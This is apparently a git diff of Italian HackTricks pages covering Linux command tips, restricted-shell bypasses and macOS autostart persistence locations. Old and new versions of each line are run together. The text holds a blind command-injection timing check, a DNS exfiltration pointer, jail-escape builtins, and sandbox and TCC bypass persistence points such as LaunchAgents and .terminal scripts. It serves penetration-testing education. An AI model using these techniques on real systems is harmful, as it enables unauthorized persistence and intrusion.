- `grep -r "parola_chiave" /directory`: Cerca una parola chiave all'interno di tutti i file all'interno di una directory in modo ricorsivo.
- `grep -i "parola_chiave" file.txt`: Esegue una ricerca non case-sensitive della parola chiave all'interno di un file.
- `grep -v "parola_chiave" file.txt`: Mostra le righe che non contengono la parola chiave specificata.
- `grep -A 3 -B 2 "parola_chiave" file.txt`: Mostra 3 righe dopo e 2 righe prima di ogni occorrenza della parola chiave all'interno del file.
```bash ```bash
#Extract emails from file #Extract emails from file
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
@ -295,14 +290,14 @@ nmap --script-help "(default or version) and smb)"
``` ```
## Bash ## Bash
Bash stands for "Bourne Again Shell". It is the default shell for most Linux distributions and macOS. Bash is a powerful shell that provides a command-line interface for interacting with the operating system. It supports scripting, which allows users to automate tasks and write complex programs. Bash stands for "Bourne Again Shell". It is the default shell for most Linux distributions. Bash is a powerful tool for interacting with the operating system through the command line interface.
```bash ```bash
#All bytes inside a file (except 0x20 and 0x00) #All bytes inside a file (except 0x20 and 0x00)
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
``` ```
## Iptables ## Iptables
Iptables è uno strumento versatile per gestire le regole del firewall su sistemi Linux. Può essere utilizzato per filtrare, modificare o indirizzare il traffico di rete. Iptables è una parte essenziale della sicurezza di rete su sistemi Linux e offre un controllo granulare sul traffico in entrata e in uscita. Iptables è uno strumento versatile per gestire le regole del firewall in Linux. Può essere utilizzato per filtrare, modificare o indirizzare il traffico di rete.
```bash ```bash
#Delete curent rules and chains #Delete curent rules and chains
iptables --flush iptables --flush
@ -333,24 +328,25 @@ iptables -P INPUT DROP
iptables -P FORWARD ACCEPT iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT iptables -P OUTPUT ACCEPT
``` ```
{% hint style="success" %}
Impara e pratica l'hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti comunitari **più avanzati al mondo**.\ Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -1,28 +1,29 @@
# Eludere le restrizioni di Linux # Ignorare le restrizioni di Linux
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti comunitari **più avanzati** al mondo.\ Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Elusioni delle Limitazioni Comuni ## Ignorare le Limitazioni Comuni
### Shell Inversa ### Shell Inversa
```bash ```bash
@ -159,14 +160,14 @@ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
echo ${LS_COLORS:10:1} #; echo ${LS_COLORS:10:1} #;
echo ${PATH:0:1} #/ echo ${PATH:0:1} #/
``` ```
### Esfiltrazione dati DNS ### Esfiltrazione dei dati DNS
Potresti utilizzare **burpcollab** o [**pingb**](http://pingb.in) ad esempio. Potresti utilizzare **burpcollab** o [**pingb**](http://pingb.in) ad esempio.
### Incorporati ### Incorporati
Nel caso in cui non sia possibile eseguire funzioni esterne e si abbia accesso solo a un **set limitato di incorporati per ottenere RCE**, ci sono alcuni trucchi utili per farlo. Di solito **non sarà possibile utilizzare tutti** gli **incorporati**, quindi dovresti **conoscere tutte le tue opzioni** per cercare di aggirare la prigione. Idea da [**devploit**](https://twitter.com/devploit).\ Nel caso in cui non sia possibile eseguire funzioni esterne e si abbia accesso solo a un **set limitato di incorporati per ottenere RCE**, ci sono alcuni trucchi utili per farlo. Di solito **non sarà possibile utilizzare tutti** gli **incorporati**, quindi dovresti **conoscere tutte le tue opzioni** per cercare di eludere la prigione. Idea da [**devploit**](https://twitter.com/devploit).\
Prima di tutto controlla tutti gli [**incorporati della shell**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**.** Ecco alcune **raccomandazioni**: Prima di tutto controlla tutti gli [**incorporati della shell**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**.** Quindi ecco alcuni **consigli**:
```bash ```bash
# Get list of builtins # Get list of builtins
declare builtins declare builtins
@ -315,15 +316,15 @@ ln /f*
'sh x' 'sh x'
'sh g' 'sh g'
``` ```
## Bypass di Lettura-Sola/Esecuzione-Nessuna/Esecuzione-Distroless ## Bypass Lettura-Only/Noexec/Distroless
Se ti trovi all'interno di un filesystem con le **protezioni di lettura-sola e esecuzione-nessuna** o addirittura in un container distroless, ci sono comunque modi per **eseguire binari arbitrari, persino una shell!:** Se sei all'interno di un filesystem con le **protezioni di sola lettura e noexec** o anche in un container distroless, ci sono comunque modi per **eseguire binari arbitrari, persino una shell!:**
{% content-ref url="../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/" %} {% content-ref url="../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/" %}
[bypass-fs-protections-read-only-no-exec-distroless](../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/) [bypass-fs-protections-read-only-no-exec-distroless](../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/)
{% endcontent-ref %} {% endcontent-ref %}
## Bypass di Chroot e Altre Prigioni ## Bypass Chroot e Altre Prigioni
{% content-ref url="../privilege-escalation/escaping-from-limited-bash.md" %} {% content-ref url="../privilege-escalation/escaping-from-limited-bash.md" %}
[escaping-from-limited-bash.md](../privilege-escalation/escaping-from-limited-bash.md) [escaping-from-limited-bash.md](../privilege-escalation/escaping-from-limited-bash.md)
@ -339,21 +340,22 @@ Se ti trovi all'interno di un filesystem con le **protezioni di lettura-sola e e
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\ Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'Accesso Oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Supporta HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di GitHub.
</details> </details>
{% endhint %}

View file

@ -1,25 +1,26 @@
# Avvio automatico su macOS # Avvio automatico su macOS
{% hint style="success" %}
Impara e pratica l'hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
{% endhint %}
Questa sezione si basa pesantemente sulla serie di blog [**Oltre i buoni vecchi LaunchAgents**](https://theevilbit.github.io/beyond/), l'obiettivo è aggiungere **ulteriori posizioni di avvio automatico** (se possibile), indicare **quali tecniche funzionano ancora** oggi con l'ultima versione di macOS (13.4) e specificare i **permessi** necessari. Questa sezione si basa pesantemente sulla serie di blog [**Oltre i buoni vecchi LaunchAgents**](https://theevilbit.github.io/beyond/), l'obiettivo è aggiungere **ulteriori posizioni di avvio automatico** (se possibile), indicare **quali tecniche funzionano ancora** oggi con l'ultima versione di macOS (13.4) e specificare i **permessi** necessari.
## Bypass della Sandbox ## Bypass della sandbox
{% hint style="success" %} {% hint style="success" %}
Qui puoi trovare posizioni di avvio utili per il **bypass della sandbox** che ti consente di eseguire semplicemente qualcosa scrivendola in un file e aspettando un'azione molto **comune**, un determinato **periodo di tempo** o un'**azione che di solito puoi eseguire** da dentro una sandbox senza necessità di permessi di root. Qui puoi trovare posizioni di avvio utili per il **bypass della sandbox** che ti permette di semplicemente eseguire qualcosa scrivendolo in un file e aspettando una **azione molto comune**, un determinato **periodo di tempo** o un'**azione che di solito puoi eseguire** da dentro una sandbox senza necessità di permessi di root.
{% endhint %} {% endhint %}
### Launchd ### Launchd
@ -31,16 +32,16 @@ Qui puoi trovare posizioni di avvio utili per il **bypass della sandbox** che ti
* **`/Library/LaunchAgents`** * **`/Library/LaunchAgents`**
* **Trigger**: Riavvio * **Trigger**: Riavvio
* Richiesto il permesso di root * Richiede privilegi di root
* **`/Library/LaunchDaemons`** * **`/Library/LaunchDaemons`**
* **Trigger**: Riavvio * **Trigger**: Riavvio
* Richiesto il permesso di root * Richiede privilegi di root
* **`/System/Library/LaunchAgents`** * **`/System/Library/LaunchAgents`**
* **Trigger**: Riavvio * **Trigger**: Riavvio
* Richiesto il permesso di root * Richiede privilegi di root
* **`/System/Library/LaunchDaemons`** * **`/System/Library/LaunchDaemons`**
* **Trigger**: Riavvio * **Trigger**: Riavvio
* Richiesto il permesso di root * Richiede privilegi di root
* **`~/Library/LaunchAgents`** * **`~/Library/LaunchAgents`**
* **Trigger**: Nuovo accesso * **Trigger**: Nuovo accesso
* **`~/Library/LaunchDemons`** * **`~/Library/LaunchDemons`**
@ -49,7 +50,7 @@ Qui puoi trovare posizioni di avvio utili per il **bypass della sandbox** che ti
{% hint style="success" %} {% hint style="success" %}
Come fatto interessante, **`launchd`** ha una lista di proprietà incorporata nella sezione Mach-o `__Text.__config` che contiene altri servizi ben noti che launchd deve avviare. Inoltre, questi servizi possono contenere `RequireSuccess`, `RequireRun` e `RebootOnSuccess` che significa che devono essere eseguiti e completati con successo. Come fatto interessante, **`launchd`** ha una lista di proprietà incorporata nella sezione Mach-o `__Text.__config` che contiene altri servizi ben noti che launchd deve avviare. Inoltre, questi servizi possono contenere `RequireSuccess`, `RequireRun` e `RebootOnSuccess` che significa che devono essere eseguiti e completati con successo.
Ovviamente, non può essere modificato a causa della firma del codice. Ovviamente, non possono essere modificati a causa della firma del codice.
{% endhint %} {% endhint %}
#### Descrizione ed Esploito #### Descrizione ed Esploito
@ -63,7 +64,7 @@ Ovviamente, non può essere modificato a causa della firma del codice.
Quando un utente accede, i plist situati in `/Users/$USER/Library/LaunchAgents` e `/Users/$USER/Library/LaunchDemons` vengono avviati con i **permessi degli utenti connessi**. Quando un utente accede, i plist situati in `/Users/$USER/Library/LaunchAgents` e `/Users/$USER/Library/LaunchDemons` vengono avviati con i **permessi degli utenti connessi**.
**La differenza principale tra agenti e demoni è che gli agenti vengono caricati quando l'utente accede e i demoni vengono caricati all'avvio del sistema** (poiché ci sono servizi come ssh che devono essere eseguiti prima che qualsiasi utente acceda al sistema). Gli agenti possono utilizzare l'interfaccia grafica mentre i demoni devono essere eseguiti in background. **La differenza principale tra agenti e demoni è che gli agenti vengono caricati quando l'utente accede e i demoni vengono caricati all'avvio del sistema** (poiché ci sono servizi come ssh che devono essere eseguiti prima che qualsiasi utente acceda al sistema). Gli agenti possono anche utilizzare l'interfaccia grafica mentre i demoni devono essere eseguiti in background.
```xml ```xml
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
@ -95,7 +96,7 @@ I nuovi file di configurazione dei Daemons o Agents verranno **caricati dopo il
Per **assicurarsi** che non ci sia **nulla** (come un override) **che impedisca a un** **Agente** o **Daemon** **di essere eseguito** eseguire: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist` Per **assicurarsi** che non ci sia **nulla** (come un override) **che impedisca a un** **Agente** o **Daemon** **di essere eseguito** eseguire: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist`
{% endhint %} {% endhint %}
Elencare tutti gli agenti e i daemon caricati dall'utente corrente: Elencare tutti gli agenti e i demoni caricati dall'utente corrente:
```bash ```bash
launchctl list launchctl list
``` ```
@ -109,7 +110,7 @@ Se un plist è di proprietà di un utente, anche se si trova in cartelle di sist
Una delle prime cose che `launchd` farebbe è **avviare** tutti i **daemon** come: Una delle prime cose che `launchd` farebbe è **avviare** tutti i **daemon** come:
* **Daemon temporizzati** in base all'orario di esecuzione: * **Daemon temporizzati** basati sull'orario di esecuzione:
* atd (`com.apple.atrun.plist`): Ha un `StartInterval` di 30 minuti * atd (`com.apple.atrun.plist`): Ha un `StartInterval` di 30 minuti
* crond (`com.apple.systemstats.daily.plist`): Ha `StartCalendarInterval` per avviarsi alle 00:15 * crond (`com.apple.systemstats.daily.plist`): Ha `StartCalendarInterval` per avviarsi alle 00:15
* **Daemon di rete** come: * **Daemon di rete** come:
@ -120,9 +121,9 @@ Una delle prime cose che `launchd` farebbe è **avviare** tutti i **daemon** com
* `com.apple.postfix.master`: Controlla il percorso `/etc/postfix/aliases` * `com.apple.postfix.master`: Controlla il percorso `/etc/postfix/aliases`
* **Daemon di notifiche IOKit**: * **Daemon di notifiche IOKit**:
* `com.apple.xartstorageremoted`: `"com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...` * `com.apple.xartstorageremoted`: `"com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...`
* **Porta Mach**: * **Porta Mach:**
* `com.apple.xscertd-helper.plist`: Indica nell'ingresso `MachServices` il nome `com.apple.xscertd.helper` * `com.apple.xscertd-helper.plist`: Indica nell'ingresso `MachServices` il nome `com.apple.xscertd.helper`
* **UserEventAgent**: * **UserEventAgent:**
* Questo è diverso dal precedente. Fa sì che launchd avvii app in risposta a eventi specifici. Tuttavia, in questo caso, il binario principale coinvolto non è `launchd` ma `/usr/libexec/UserEventAgent`. Carica plugin dalla cartella con restrizioni SIP /System/Library/UserEventPlugins/ dove ogni plugin indica il suo inizializzatore nella chiave `XPCEventModuleInitializer` o, nel caso di plugin più vecchi, nel dizionario `CFPluginFactories` sotto la chiave `FB86416D-6164-2070-726F-70735C216EC0` del suo `Info.plist`. * Questo è diverso dal precedente. Fa sì che launchd avvii app in risposta a eventi specifici. Tuttavia, in questo caso, il binario principale coinvolto non è `launchd` ma `/usr/libexec/UserEventAgent`. Carica plugin dalla cartella con restrizioni SIP /System/Library/UserEventPlugins/ dove ogni plugin indica il suo inizializzatore nella chiave `XPCEventModuleInitializer` o, nel caso di plugin più vecchi, nel dizionario `CFPluginFactories` sotto la chiave `FB86416D-6164-2070-726F-70735C216EC0` del suo `Info.plist`.
### File di avvio della shell ### File di avvio della shell
@ -181,7 +182,7 @@ Configurare lo sfruttamento indicato e fare il logout e il login o addirittura r
#### Descrizione e Sfruttamento #### Descrizione e Sfruttamento
Tutte le applicazioni da riaprire si trovano nel plist `~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist` Tutte le applicazioni da riaprire si trovano all'interno del plist `~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist`
Quindi, per far sì che le applicazioni riaperte lancino la tua, devi semplicemente **aggiungere la tua app alla lista**. Quindi, per far sì che le applicazioni riaperte lancino la tua, devi semplicemente **aggiungere la tua app alla lista**.
@ -212,7 +213,7 @@ Per **aggiungere un'applicazione a questa lista** puoi utilizzare:
#### Posizione #### Posizione
* **`~/Library/Preferences/com.apple.Terminal.plist`** * **`~/Library/Preferences/com.apple.Terminal.plist`**
* **Trigger**: Apri il Terminale * **Trigger**: Aprire il Terminale
#### Descrizione ed Esploito #### Descrizione ed Esploito
@ -262,11 +263,11 @@ Puoi aggiungere questo da cli con:
#### Posizione #### Posizione
* **Ovunque** * **Ovunque**
* **Trigger**: Aprire il Terminale * **Trigger**: Apri il Terminale
#### Descrizione & Sfruttamento #### Descrizione & Sfruttamento
Se si crea uno script [**`.terminal`**](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) e lo si apre, l'applicazione **Terminal** verrà automaticamente invocata per eseguire i comandi indicati al suo interno. Se l'applicazione Terminal ha alcuni privilegi speciali (come TCC), il tuo comando verrà eseguito con quei privilegi speciali. Se crei uno script [**`.terminal`**](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) e lo apri, l'applicazione **Terminal** verrà automaticamente invocata per eseguire i comandi indicati al suo interno. Se l'applicazione Terminal ha alcuni privilegi speciali (come TCC), il tuo comando verrà eseguito con quei privilegi speciali.
Provalo con: Provalo con:
```bash ```bash
@ -304,8 +305,8 @@ Se il terminale ha **Accesso Completo al Disco**, sarà in grado di completare q
### Plugin Audio ### Plugin Audio
Descrizione: [https://theevilbit.github.io/beyond/beyond\_0013/](https://theevilbit.github.io/beyond/beyond\_0013/)\ Writeup: [https://theevilbit.github.io/beyond/beyond\_0013/](https://theevilbit.github.io/beyond/beyond\_0013/)\
Descrizione: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882) Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882)
* Utile per aggirare il sandbox: [](https://emojipedia.org/check-mark-button) * Utile per aggirare il sandbox: [](https://emojipedia.org/check-mark-button)
* Bypass TCC: [🟠](https://emojipedia.org/large-orange-circle) * Bypass TCC: [🟠](https://emojipedia.org/large-orange-circle)
@ -327,11 +328,11 @@ Descrizione: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](http
#### Descrizione #### Descrizione
Secondo le descrizioni precedenti è possibile **compilare alcuni plugin audio** e caricarli. Secondo i precedenti writeup è possibile **compilare alcuni plugin audio** e caricarli.
### Plugin QuickLook ### Plugin QuickLook
Descrizione: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/) Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)
* Utile per aggirare il sandbox: [](https://emojipedia.org/check-mark-button) * Utile per aggirare il sandbox: [](https://emojipedia.org/check-mark-button)
* Bypass TCC: [🟠](https://emojipedia.org/large-orange-circle) * Bypass TCC: [🟠](https://emojipedia.org/large-orange-circle)
@ -357,7 +358,7 @@ I plugin QuickLook possono essere eseguiti quando **si attiva l'anteprima di un
Questo non ha funzionato per me, né con il LoginHook dell'utente né con il LogoutHook di root Questo non ha funzionato per me, né con il LoginHook dell'utente né con il LogoutHook di root
{% endhint %} {% endhint %}
**Descrizione**: [https://theevilbit.github.io/beyond/beyond\_0022/](https://theevilbit.github.io/beyond/beyond\_0022/) **Writeup**: [https://theevilbit.github.io/beyond/beyond\_0022/](https://theevilbit.github.io/beyond/beyond\_0022/)
* Utile per aggirare il sandbox: [](https://emojipedia.org/check-mark-button) * Utile per aggirare il sandbox: [](https://emojipedia.org/check-mark-button)
* Bypass TCC: [🔴](https://emojipedia.org/large-red-circle) * Bypass TCC: [🔴](https://emojipedia.org/large-red-circle)
@ -399,7 +400,7 @@ Il file dell'utente root è memorizzato in **`/private/var/root/Library/Preferen
## Bypass della sandbox condizionale ## Bypass della sandbox condizionale
{% hint style="success" %} {% hint style="success" %}
Qui puoi trovare posizioni di avvio utili per il **bypass della sandbox** che ti consente di eseguire semplicemente qualcosa scrivendola in un file e **aspettandoti condizioni non super comuni** come specifici **programmi installati, azioni utente "non comuni" o ambienti.** Qui puoi trovare posizioni di avvio utili per il **bypass della sandbox** che ti consente di eseguire semplicemente qualcosa scrivendola in un file e aspettandoti condizioni non super comuni come programmi specifici installati, azioni o ambienti utente "non comuni".
{% endhint %} {% endhint %}
### Cron ### Cron
@ -414,7 +415,7 @@ Qui puoi trovare posizioni di avvio utili per il **bypass della sandbox** che ti
